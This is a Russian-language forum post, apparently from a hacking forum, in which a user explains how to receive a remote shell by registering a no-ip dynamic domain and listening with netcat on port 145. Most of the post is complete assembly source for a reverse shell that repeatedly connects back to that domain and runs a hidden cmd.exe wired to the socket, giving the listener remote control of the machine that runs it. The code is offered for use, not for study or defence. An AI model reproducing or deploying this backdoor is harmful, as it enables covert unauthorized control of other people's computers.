Показать сообщение отдельно

  #7  
Старый 01.05.2010, 09:18
Lamia
Участник форума
Регистрация: 11.07.2007
Сообщений: 190
Провел на форуме:
254313

Репутация: 185
По умолчанию

Либо по типу этого,неткат у нас выступает в роли сервера,а наша прожка в качестве клиента.Регим домен на no-ip.com,в нстройках указываем этот домен,на своей стороне открываем порт,что в настройках нашего файла,запускаем
у себя неткат в режиме прослушки nc.exe -l -n -v -p 145,а на другом конце нашу прожку и вуаля.

Цитата:
IP db 'xxx.no-ip.biz',0
port = 145

proc shell_thread
locals
saddr sockaddr_in
socket dd ?
endl

invoke ntohs,port
mov [saddr.sin_port],ax
mov [saddr.sin_family],AF_INET
.loop_@@:
invoke WSASocket,AF_INET,SOCK_STREAM,0,0,0,0
cmp eax,-1
je .exit
mov [socket],eax
@@:
stdcall NetResolve,IP
test eax,eax
jne @f
invoke Sleep,1000
jmp @b
@@:
mov [saddr.sin_addr],eax
lea eax,[saddr]
invoke connect,[socket],eax,sizeof.sockaddr_in
test eax,eax
jne @f

stdcall run_shell,[socket]
@@:

invoke closesocket,[socket]
invoke Sleep,1000
jmp .loop_@@

.exit:
ret
endp


proc run_shell,socket
locals
s_info STARTUPINFO
p_info PROCESS_INFORMATION
endl
pusha
lea edi,[s_info]
mov ecx,sizeof.STARTUPINFO
xor eax,eax
rep stosb
mov [s_info.cb],sizeof.STARTUPINFO
mov [s_info.dwFlags],100h
mov [s_info.wShowWindow],SW_HIDE
push [socket]
pop [s_info.hStdInput]
push [socket]
pop [s_info.hStdOutput]
push [socket]
pop [s_info.hStdError]
lea edx,[s_info]
lea ecx,[p_info]
invoke CreateProcess,0,cmd,0,0,1,08000000h,0,0,edx,ecx
test eax,eax
je .exit
invoke WaitForSingleObject,[p_info.hProcess],-1
invoke CloseHandle,[p_info.hProcess]
.exit:
popa
ret
endp

proc NetResolve,lpHost
invoke gethostbyname,[lpHost]
or eax,eax
jz .exit
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
.exit:
ret
endp

Последний раз редактировалось Lamia; 01.05.2010 в 09:23..